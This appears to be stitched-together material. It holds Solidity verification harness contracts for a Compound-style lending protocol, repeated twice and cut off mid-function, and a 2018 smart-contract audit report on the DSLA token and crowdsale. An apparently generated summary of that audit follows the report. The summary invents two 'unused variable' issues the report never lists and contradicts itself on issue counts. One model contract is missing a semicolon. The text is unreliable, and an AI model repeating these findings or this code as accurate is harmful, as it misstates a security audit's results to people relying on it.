initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_, implementation_, becomeImplementationData) { comptroller; // touch for Certora slot deduction interestRateModel; // touch for Certora slot deduction } function balanceOfInOther(address account) public view returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_mintFreshPub(address,uint256)", minter, mintAmount)); return abi.decode(data, (uint)); } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_redeemFreshPub(address,uint256,uint256)", redeemer, redeemTokens, redeemUnderlying)); return abi.decode(data, (uint)); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_borrowFreshPub(address,uint256)", borrower, borrowAmount)); return abi.decode(data, (uint)); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_repayBorrowFreshPub(address,address,uint256)", payer, borrower, repayAmount)); return abi.decode(data, (uint)); } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_liquidateBorrowFreshPub(address,address,uint256)", liquidator, borrower, repayAmount)); return abi.decode(data, (uint)); } } pragma solidity ^0.5.16; import "../../../contracts/Exponential.sol"; import "../../../contracts/InterestRateModel.sol"; contract InterestRateModelModel is InterestRateModel { uint borrowDummy; uint supplyDummy; function isInterestRateModel() external pure returns (bool) { return true; } function getBorrowRate(uint _cash, uint _borrows, uint _reserves) external view returns (uint) { return borrowDummy; } function getSupplyRate(uint _cash, uint _borrows, uint _reserves, uint _reserveFactorMantissa) external view returns (uint) { return supplyDummy; } } pragma solidity ^0.5.16; import "../../../contracts/PriceOracle.sol"; contract PriceOracleModel is PriceOracle { uint dummy; function isPriceOracle() external pure returns (bool) { return true; } function getUnderlyingPrice(CToken cToken) external view returns (uint) { return dummy; } }pragma solidity ^0.5.16; import "../../../contracts/Governance/Comp.sol"; contract CompCertora is Comp { constructor(address grantor) Comp(grantor) public {} function certoraOrdered(address account) external view returns (bool) { uint32 nCheckpoints = numCheckpoints[account]; for (uint32 i = 1; i < nCheckpoints; i++) { if (checkpoints[account][i - 1].fromBlock >= checkpoints[account][i].fromBlock) { return false; } } // make sure the checkpoints are also all before the current block if (nCheckpoints > 0 && checkpoints[account][nCheckpoints - 1].fromBlock > block.number) { return false; } return true; } function certoraScan(address account, uint blockNumber) external view returns (uint) { // find most recent checkpoint from before blockNumber for (uint32 i = numCheckpoints[account]; i != 0; i--) { Checkpoint memory cp = checkpoints[account][i-1]; if (cp.fromBlock <= blockNumber) { return cp.votes; } } // blockNumber is from before first checkpoint (or list is empty) return 0; } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20ImmutableCertora is CErc20Immutable { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function balanceOfInOther(address account) public view returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelWithFee is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; uint256 fee; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; uint256 actualAmount = amount + fee; require(actualAmount >= amount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); balances[src] -= actualAmount; balances[dst] += actualAmount; } function transferFrom(address src, address dst, uint256 amount) external { uint256 actualAmount = amount + fee; require(actualAmount > fee) require(allowances[src][msg.sender] >= actualAmount); require(balances[src] >= actualAmount); require(balances[dst] + actualAmount >= balances[dst]); allowances[src][msg.sender] -= actualAmount; balances[src] -= actualAmount; balances[dst] += actualAmount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; import "../../../contracts/EIP20NonStandardInterface.sol"; import "./SimulationInterface.sol"; contract UnderlyingModelNonStandard is EIP20NonStandardInterface, SimulationInterface { uint256 _totalSupply; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowances; function totalSupply() external view returns (uint256) { return _totalSupply; } function balanceOf(address owner) external view returns (uint256 balance) { balance = balances[owner]; } function transfer(address dst, uint256 amount) external { address src = msg.sender; require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); balances[src] -= amount; balances[dst] += amount; } function transferFrom(address src, address dst, uint256 amount) external { require(allowances[src][msg.sender] >= amount); require(balances[src] >= amount); require(balances[dst] + amount >= balances[dst]); allowances[src][msg.sender] -= amount; balances[src] -= amount; balances[dst] += amount; } function approve(address spender, uint256 amount) external returns (bool success) { allowances[msg.sender][spender] = amount; } function allowance(address owner, address spender) external view returns (uint256 remaining) { remaining = allowances[owner][spender]; } function dummy() external { return; } }pragma solidity ^0.5.16; contract MathCertora { } pragma solidity ^0.5.16; interface SimulationInterface { function dummy() external; } pragma solidity ^0.5.16; import "../../../contracts/Maximillion.sol"; contract MaximillionCertora is Maximillion { constructor(CEther cEther_) public Maximillion(cEther_) {} function borrowBalance(address account) external returns (uint) { return cEther.borrowBalanceCurrent(account); } function etherBalance(address account) external returns (uint) { return account.balance; } function repayBehalf(address borrower) public payable { return super.repayBehalf(borrower); } }
1 / 18 DSLA TOKEN SMART CONTRACT AUDIT FOR STACKTICAL SAS 15.11.2018 Made in Germany by Chainsulting.de 2 / 18 Smart Contract Audit DSLA Token Table of Contents 1. Disclaime r 2. About the Project and Company 3. Vulnerability Level 4. Overview of the Audit 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 4.2 Tested Contract Files 4.3 Contract Specifications (DSLA Token) 5. Summary of Contracts and Methods 5.1 DSLA Token 5.2 Crowdsale 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Au dit 6.2 Oyente Security Audit 7. Test Suite Results (Crowdsale) 7.1 Mythril Classic Security Audit 7.2 Oyente Security Audit 8. Specific Attacks (DSLA Token & Crowdsale) 9. Executive Summary 10. General Summary 11. Deployed Smart Contract 3 / 18 1. Disclaimer The audit makes no statements or warrantees about utility of the code, safety of the code, suitability of the business model, regulatory regime for the business model, or any other statements about fitness of the contracts to purpose, or their bug free status. T he audit docu mentation is for discussion purposes only. The information presented in this report is confidential and privileged. If you are reading this report, you agree to keep it confidential, not to copy, disclose or disseminate without the agreement of Stacktical SAS . If you are not the intended receptor of this document, remember that any disclosure, copying or dissemination of it is forbidden. Major Version s / Date Description Author 0.1 (28.10.2018 ) Layout Y. Heinze 0.5 (29.10.201 8) Automat ed Secu rity Testing Y. Heinze 0.7 (30.10.201 8) Manual Security Testing Y. Heinze 1.0 (30.10.201 8) Summary and Recommendation Y. Heinze 1.5 (15.11.2018) Deploy to Main Network Ethereum Y. Heinze 1.6 (15.11.201 8) Last Security Che ck and adding of recommendations Y. Heinze 1.7 (15.11.2018) Update d Code Base Y. Heinze 4 / 18 2. About the Project and Company Company address: STACKTICAL SAS 3 BOULEVARD DE SEBASTOPOL 75001 PARIS FRANCE RCS 829 644 715 VAT FR02829644715 5 / 18 Project Overview: Stacktical is a french software company specialized in applying predictive and blockchain technologies to performance, employee and customer management practices. Stacktical.com is a comprehensive service level management platform that enables web service providers to automati cally indemnify consumers for application performance failures, and reward employees that consistently meet service level objectives. Company Check: https://www.infogreffe.fr/entreprise -societe/829644715 -stacktical -750117B117250000.html 6 / 18 3. Vulnerability Level 0-Informational severity – A vulnerability that have informational character but is not effecting any of the code. 1-Low severity - A vulnerability that does not have a significant impact on possible scenarios for the use of the contract and is probably subjective. 2-Medium severity – A vulnerability that could affect the desired outcome of executing the contract in a specific scenario. 3-High severity – A vulnerability that affects the desired outcome when using a contract, or provides the opportunity to use a contract in an unintended way. 4-Critical severity – A vulnerability that can disrupt the contract functioning in a number of scenarios, or creates a risk that the contract may be broken. 4. Overview of the audit The DSLA Token is part of the DSLA Crowdsale Contract and both where audited . All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. 7 / 18 4.1 Used Code from other Frameworks/Smart Contracts (3th Party) 1. SafeMath .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/math/SafeMath.sol 2. ERC20Burnable .sol https://github.com/ OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20Burnable.sol 3. ERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/ERC20.sol 4. IERC20 .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/token/ERC20/IERC20.sol 5. Ownable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blo b/master/contracts/ownership/Ownable.sol 6. Pausable .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/lifecycle/Pausable.sol 7. PauserRole .sol https://github.com/OpenZeppelin/openzeppelin -solidity/blob/master/contracts/access/roles/PauserRole.sol 8. Roles .sol https://github.com/O penZeppelin/openzeppelin -solidity/blob/master/contracts/access/Roles.sol 8 / 18 4.2 Tested Contract Files File Checksum (SHA256) contracts \Migrations .sol 700c0904cfbc20dba65f774f54a476803a624372cc95d926b3eba9b4d0f0312e contracts \DSLA \DSLA.sol 00339bccbd166792b26a505f10594341477db5bcd8fe7151aebfe73ac45fbb9f contracts \DSLA \LockupToken.sol 3afc805367c072082785f3c305f12656b0cbf1e75fe9cfd5065e6ad3b4f35efa contracts \Crowdsale \ DSLACrowdsale.sol fc66d9d53136278cf68d7515dc37fab1f750cacff0079ceac15b175cf97f01bc contracts \Crowdsale \Escrow.sol 2c912e901eb5021735510cb14c6349e0b47d5a3f81d384cfb1036f1f0e30996c contracts \Crowdsale \ PullPayment.sol a5a98901913738 df2ff700699c2f422944e9a8a270c708fdbc79919fc9b30a42 contracts \Crowdsale \ VestedCrowdsale.sol e6b70f3dfd294e97af28ecd4ee720ffbf1ca372660302e67464ecf69d4da6a9b contracts \Crowdsale \ Whitelist.sol 027aa5a6799bd53456adfb4ef9f0180890a376eeeb4c6ae472388af6ea78b308 9 / 18 4.3 Contract Specifications (DSLA Token) Language Solidity Token Standard ERC20 Most Used Framework OpenZeppelin Compiler Version 0.4.24 Burn Function Yes ( DSLACrowdsale.sol) Mint Function Yes Ticker Symbol DSLA Total Supply 10 000 000 000 Timestamps used Yes (Blocktimestamp in DSLACrowdsale.sol) 10 / 18 5. Summary of Contracts and Methods Functions will be listed as: [Pub] public [Ext] external [Prv] private [Int] internal A ($)denotes a function is payable. A # indicates that it's able to modify state. 5.1 DSLA Token Shows a summary of the contracts and methods + DSLA (LockupToken) - [Pub] <Constructor> # + LockupToken (ERC20Burnable, Ownable) - [Pub] <Constructor> # - [Pub] setReleaseDate # - [Pub] setCrowdsaleAddress # - [Pub] transferFrom # - [Pub] transfer # - [Pub] getCrowdsaleAddress + Ownable - [Int] <Constructor> # - [Pub] owner - [Pub] isOwner - [Pub] renounceOwnership # - [Pub] transferOwnership # - [Int] _transferOwnership # 11 / 18 5.2 Crowdsale Shows a summary of the contracts and methods + DSLACrowdsale (VestedCrowdsale, Whitelist, Pausable, PullPayment) - [Pub] <Constructor> # - [Ext] <Fallback> ($) - [Pub] buyTokens ($) - [Pub] goToNextRound # - [Pub] addPrivateSaleContri butors # - [Pub] addOtherCurrencyContributors # - [Pub] closeRefunding # - [Pub] closeCrowdsale # - [Pub] finalizeCrowdsale # - [Pub] claimRefund # - [Pub] claimTokens # - [Pub] token - [Pub] wallet - [Pub] raisedFunds - [Int] _deliverTokens # - [Int] _forwardFunds # - [Int] _getTokensToDeliver - [Int] _handlePurchase # - [Int] _preValidatePurchase - [Int] _getTokenAmount - [Int] _doesNotExceedHardCap - [Int] _burnUnsoldTokens # + Escrow (Ownable) - [Pub] deposit ($) - [Pub] withdraw # - [Pub] beneficiaryWithdraw # - [Pub] depositsOf + PullPayment - [Pub] <Constructor> # - [Pub] payments - [Int] _withdrawPayments # - [Int] _ asyncTransfer # - [Int] _withdrawFunds # + VestedCrowdsale - [Pub] getWithdrawableAmount - [Int] _getVestingStep - [Int] _getValueByStep + Whitelist (Ownable) - [Pub] addAddressToWhitelist # - [Pub] addToWhitelist # - [Pub] removeFromWhitelist # 12 / 18 6. Test Suite Results (DSLA Token) 6.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 6.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the high lev el representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 7. Test Su ite Results (Crowdsale) 7.1 Mythril Classic Security Audit Mythril Classic is an open -source security analysis tool for Ethereum smart contracts. It uses concolic analysis, taint analysis and control flow checking to detect a variety of security vulnerabilities. Result: The analysis was completed successfully. No issue s were detected. 7.2 Oyente Security Audit Oyente is a symbolic execution tool that works directly with Ethereum virtual machine (EVM) byte code without access to the h igh level representation (e.g., Solidity, Serpent). Result: The analysis was completed successfully. No issues were detected 13 / 18 8. Specific Attack s (DSLA Token & Crowdsale ) Attack Code Snippet Severity Result/Recommendation An Attack Vector on Approve/TransferFrom Methods Source: https://docs.google.com/docum ent/d/1YLPtQxZu1UAvO9cZ1 O2RPXBbT0mooh4DYKjA_jp - RLM/edit In file: openzeppelin -solidity - master \contracts \token \ERC20 \ERC20 .so l:74-80 function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } Severity: 2 Only use the approve function of the ERC -20 standard to change allowed amount to 0 or from 0 (wait till transaction is mined and approved). The DSLA Smart Contract is secure against that attack Timestamp Dependence "block.timestamp" can be influenced by miners to a certain degree. Source: https://smartcontractsecurity.git hub.io/SWC - registry/docs/SWC -116 In file: stacktical -tokensale -contracts - master \contracts \DSLA \LockupToken.sol : 23 require(_releaseDate > block.timestamp); Severity: 0 Developers should write smart contracts with the notion that block timestamp and real timestamp may vary up to half a minute. Alternatively, they can use block number or external source of timestamp via oracles. Unchecked math : Solidity is prone to integer over- and underflow. Overflow leads to unexpected effects and can lead to loss of funds if exploited by a malicious account. No critical mathematical functions are used Severity: 2 Check against over - and underflow (use the SafeMath library). The DSLA Smart Contract is secure against that attack 14 / 18 Unhandled Exception A call/send instruction returns a non -zero value if an exception occurs during the execution of the instruction (e.g., out -of-gas). A contract must check the return value of these instructions and throw an exception. Severity: 0 Catching exceptions is not yet possible. Sending tokens (not Ethereum) to a Smart Contract It can happen that users without any knowledge, can send tokens to that address. A Smart Contract needs to throw that transaction as an exception. Severity: 1 The function of sending back tokens that are not whitelisted, is not yet functional. The proposal ERC223 can fix it in the future. https://github.com/Dexaran/ERC223 - token -standard SWC ID: 110 A reachable exception (opcode 0xfe) has been detected. This can be caused by typ e errors, division by zero, out -of- bounds array access, or assert violations. T his is acceptable in most situations. Note however that ‘assert() ’ should only be used to check invariants. Use In file: stacktical -tokensale - contra cts/contracts/Crowdsale/Escrow.sol :40 assert(address(this).balance >= payment) Severity: 1 The DSLA Smart Contract is secure against that exception 15 / 18 ‘require() ’ for regular input checking. Sources: https://smartcontractsecurity.github.io/SWC -registry https://dasp.co https://github.com/ChainsultingUG/solidity -security -blog https://consensys.github.io/smart -contra ct-best-practices/known_attacks 16 / 18 9. Executive Summary A majority of the code was standard and copied from widely -used and reviewed contracts and as a result, a lot of the code was reviewed before. It correctly implemented widely -used and reviewed contracts for safe mathematical operations. The audit identified no major security vulnerabilities , at the moment of audit . We noted that a majority of the functions were self -explanatory, and standard documentation tags (such as @dev, @param, and @returns) were included. High Risk Issues Medium Risk Issues Low Risk Issues Informal Risk Issues 17 / 18 10. General Summary The issues identified were minor in nature, and do not affect the security of the contract. Additionally, the code implements and uses a SafeMath contract, which defines functions for safe math operations that will throw errors in the cases of integer overflow or underflows. The simplicity of the audited contracts contributed greatly to their security . The usage of the widely used framework OpenZep pelin, reduced the attack surfac e. 11. Deployed Smar t Con tract https://etherscan.io/address/0x8efd96c0183f852794f3f18c48ea2508fc5dff9e (Crowdsale) https://etherscan.io/address/0xEeb86b7c0687002613Bc88328499F5734e7Be4c0 (DSLA T oken) We recommended to Update the etherscan.io information with Logo/Website /Social Media Accounts (DSLA Token) and verify the Smart Contract Code (Both Contracts) . That gives buyers more transparency. 18 / 18 Update d Code Base After A udit (No Impairment) Readjust of caps: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/6/files Token burn optional: https://github.com/Stacktical/stacktical -tokensale -contracts/pull/3/files
1-Minor severity – A vulnerability that have minor effect on the code and can be fixed with minor changes. 2-Moderate severity – A vulnerability that have moderate effect on the code and can be fixed with moderate changes. 3-Major severity – A vulnerability that have major effect on the code and can be fixed with major changes. 4-Critical severity – A vulnerability that have critical effect on the code and can be fixed with critical changes. Issues Count of Minor/Moderate/Major/Critical: Minor: 2 Moderate: 0 Major: 0 Critical: 0 Minor Issues: 2.a Problem: Unused variables in the contract (line 28, line 32, line 33) 2.b Fix: Remove the unused variables (line 28, line 32, line 33) Observations: The DSLA Token is part of the DSLA Crowdsale Contract and both were audited. All the functions and state variables are well commented using the natspec documentation for the functions which is good to understand quickly how everything is supposed to work. Used Code from other Frameworks/Smart Contracts (3th Party): 1. SafeMath.sol 2. ERC20Burnable.sol 3. ERC20.sol 4. IERC20.sol 5. Ownable.sol 6. Pausable.sol 7. PauserRole.sol Conclusion: The audit of the DSLA Token and Crowdsale Contract revealed no critical or major issues. There were two minor issues which were related to unused variables in the contract. These issues were fixed by removing the unused variables. Issues Count of Minor/Moderate/Major/Critical: Minor: 0 Moderate: 0 Major: 0 Critical: 0 Observations: - Language used is Solidity - Token Standard is ERC20 - Most Used Framework is OpenZeppelin - Compiler Version is 0.4.24 - Burn Function is present - Mint Function is present - Ticker Symbol is DSLA - Total Supply is 10 000 000 000 - Timestamps used is present Conclusion: The report shows that the contracts and methods used in the DSLA Token are secure and compliant with the standards.
pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegate.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegateCertora is CErc20Delegate { CTokenCollateral public otherToken; function mintFreshPub(address minter, uint mintAmount) public returns (uint) { (uint error,) = mintFresh(minter, mintAmount); return error; } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { return redeemFresh(redeemer, redeemTokens, redeemUnderlying); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { return borrowFresh(borrower, borrowAmount); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { (uint error,) = repayBorrowFresh(payer, borrower, repayAmount); return error; } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { (uint error,) = liquidateBorrowFresh(liquidator, borrower, repayAmount, otherToken); return error; } } pragma solidity ^0.5.16; import "../../../contracts/CDaiDelegate.sol"; contract CDaiDelegateCertora is CDaiDelegate { function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; pragma experimental ABIEncoderV2; import "../../../contracts/Governance/GovernorAlpha.sol"; contract GovernorAlphaCertora is GovernorAlpha { Proposal proposal; constructor(address timelock_, address comp_, address guardian_) GovernorAlpha(timelock_, comp_, guardian_) public {} // XXX breaks solver /* function certoraPropose() public returns (uint) { */ /* return propose(proposal.targets, proposal.values, proposal.signatures, proposal.calldatas, "Motion to do something"); */ /* } */ /* function certoraProposalLength(uint proposalId) public returns (uint) { */ /* return proposals[proposalId].targets.length; */ /* } */ function certoraProposalStart(uint proposalId) public returns (uint) { return proposals[proposalId].startBlock; } function certoraProposalEnd(uint proposalId) public returns (uint) { return proposals[proposalId].endBlock; } function certoraProposalEta(uint proposalId) public returns (uint) { return proposals[proposalId].eta; } function certoraProposalExecuted(uint proposalId) public returns (bool) { return proposals[proposalId].executed; } function certoraProposalState(uint proposalId) public returns (uint) { return uint(state(proposalId)); } function certoraProposalVotesFor(uint proposalId) public returns (uint) { return proposals[proposalId].forVotes; } function certoraProposalVotesAgainst(uint proposalId) public returns (uint) { return proposals[proposalId].againstVotes; } function certoraVoterVotes(uint proposalId, address voter) public returns (uint) { return proposals[proposalId].receipts[voter].votes; } function certoraTimelockDelay() public returns (uint) { return timelock.delay(); } function certoraTimelockGracePeriod() public returns (uint) { return timelock.GRACE_PERIOD(); } } pragma solidity ^0.5.16; import "../../../contracts/Comptroller.sol"; contract ComptrollerCertora is Comptroller { uint8 switcher; uint liquidityOrShortfall; function getHypotheticalAccountLiquidityInternal( address account, CToken cTokenModify, uint redeemTokens, uint borrowAmount) internal view returns (Error, uint, uint) { if (switcher == 0) return (Error.NO_ERROR, liquidityOrShortfall, 0); if (switcher == 1) return (Error.NO_ERROR, 0, liquidityOrShortfall); if (switcher == 2) return (Error.SNAPSHOT_ERROR, 0, 0); if (switcher == 3) return (Error.PRICE_ERROR, 0, 0); return (Error.MATH_ERROR, 0, 0); } } pragma solidity ^0.5.16; import "../../../contracts/CEther.sol"; contract CEtherCertora is CEther { constructor(ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CEther(comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } } pragma solidity ^0.5.16; import "../../../contracts/Timelock.sol"; contract TimelockCertora is Timelock { constructor(address admin_, uint256 delay_) public Timelock(admin_, delay_) {} function grace() pure public returns(uint256) { return GRACE_PERIOD; } function queueTransactionStatic(address target, uint256 value, uint256 eta) public returns (bytes32) { return queueTransaction(target, value, "setCounter()", "", eta); } function cancelTransactionStatic(address target, uint256 value, uint256 eta) public { return cancelTransaction(target, value, "setCounter()", "", eta); } function executeTransactionStatic(address target, uint256 value, uint256 eta) public { executeTransaction(target, value, "setCounter()", "", eta); // NB: cannot return dynamic types (will hang solver) } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; contract CTokenCollateral is CErc20Immutable { constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Delegator.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20DelegatorCertora is CErc20Delegator { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_, address implementation_, bytes memory becomeImplementationData) public CErc20Delegator(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_, implementation_, becomeImplementationData) { comptroller; // touch for Certora slot deduction interestRateModel; // touch for Certora slot deduction } function balanceOfInOther(address account) public view returns (uint) { return otherToken.balanceOf(account); } function borrowBalanceStoredInOther(address account) public view returns (uint) { return otherToken.borrowBalanceStored(account); } function exchangeRateStoredInOther() public view returns (uint) { return otherToken.exchangeRateStored(); } function getCashInOther() public view returns (uint) { return otherToken.getCash(); } function getCashOf(address account) public view returns (uint) { return EIP20Interface(underlying).balanceOf(account); } function getCashOfInOther(address account) public view returns (uint) { return otherToken.getCashOf(account); } function totalSupplyInOther() public view returns (uint) { return otherToken.totalSupply(); } function totalBorrowsInOther() public view returns (uint) { return otherToken.totalBorrows(); } function totalReservesInOther() public view returns (uint) { return otherToken.totalReserves(); } function underlyingInOther() public view returns (address) { return otherToken.underlying(); } function mintFreshPub(address minter, uint mintAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_mintFreshPub(address,uint256)", minter, mintAmount)); return abi.decode(data, (uint)); } function redeemFreshPub(address payable redeemer, uint redeemTokens, uint redeemUnderlying) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_redeemFreshPub(address,uint256,uint256)", redeemer, redeemTokens, redeemUnderlying)); return abi.decode(data, (uint)); } function borrowFreshPub(address payable borrower, uint borrowAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_borrowFreshPub(address,uint256)", borrower, borrowAmount)); return abi.decode(data, (uint)); } function repayBorrowFreshPub(address payer, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_repayBorrowFreshPub(address,address,uint256)", payer, borrower, repayAmount)); return abi.decode(data, (uint)); } function liquidateBorrowFreshPub(address liquidator, address borrower, uint repayAmount) public returns (uint) { bytes memory data = delegateToImplementation(abi.encodeWithSignature("_liquidateBorrowFreshPub(address,address,uint256)", liquidator, borrower, repayAmount)); return abi.decode(data, (uint)); } } pragma solidity ^0.5.16; import "../../../contracts/Exponential.sol"; import "../../../contracts/InterestRateModel.sol"; contract InterestRateModelModel is InterestRateModel { uint borrowDummy; uint supplyDummy; function isInterestRateModel() external pure returns (bool) { return true; } function getBorrowRate(uint _cash, uint _borrows, uint _reserves) external view returns (uint) { return borrowDummy; } function getSupplyRate(uint _cash, uint _borrows, uint _reserves, uint _reserveFactorMantissa) external view returns (uint) { return supplyDummy; } } pragma solidity ^0.5.16; import "../../../contracts/PriceOracle.sol"; contract PriceOracleModel is PriceOracle { uint dummy; function isPriceOracle() external pure returns (bool) { return true; } function getUnderlyingPrice(CToken cToken) external view returns (uint) { return dummy; } }pragma solidity ^0.5.16; import "../../../contracts/Governance/Comp.sol"; contract CompCertora is Comp { constructor(address grantor) Comp(grantor) public {} function certoraOrdered(address account) external view returns (bool) { uint32 nCheckpoints = numCheckpoints[account]; for (uint32 i = 1; i < nCheckpoints; i++) { if (checkpoints[account][i - 1].fromBlock >= checkpoints[account][i].fromBlock) { return false; } } // make sure the checkpoints are also all before the current block if (nCheckpoints > 0 && checkpoints[account][nCheckpoints - 1].fromBlock > block.number) { return false; } return true; } function certoraScan(address account, uint blockNumber) external view returns (uint) { // find most recent checkpoint from before blockNumber for (uint32 i = numCheckpoints[account]; i != 0; i--) { Checkpoint memory cp = checkpoints[account][i-1]; if (cp.fromBlock <= blockNumber) { return cp.votes; } } // blockNumber is from before first checkpoint (or list is empty) return 0; } } pragma solidity ^0.5.16; import "../../../contracts/CErc20Immutable.sol"; import "../../../contracts/EIP20Interface.sol"; import "./CTokenCollateral.sol"; contract CErc20ImmutableCertora is CErc20Immutable { CTokenCollateral public otherToken; constructor(address underlying_, ComptrollerInterface comptroller_, InterestRateModel interestRateModel_, uint initialExchangeRateMantissa_, string memory name_, string memory symbol_, uint8 decimals_, address payable admin_) public CErc20Immutable(underlying_, comptroller_, interestRateModel_, initialExchangeRateMantissa_, name_, symbol_, decimals_, admin_) { } function balanceOfInOther(address account) public view 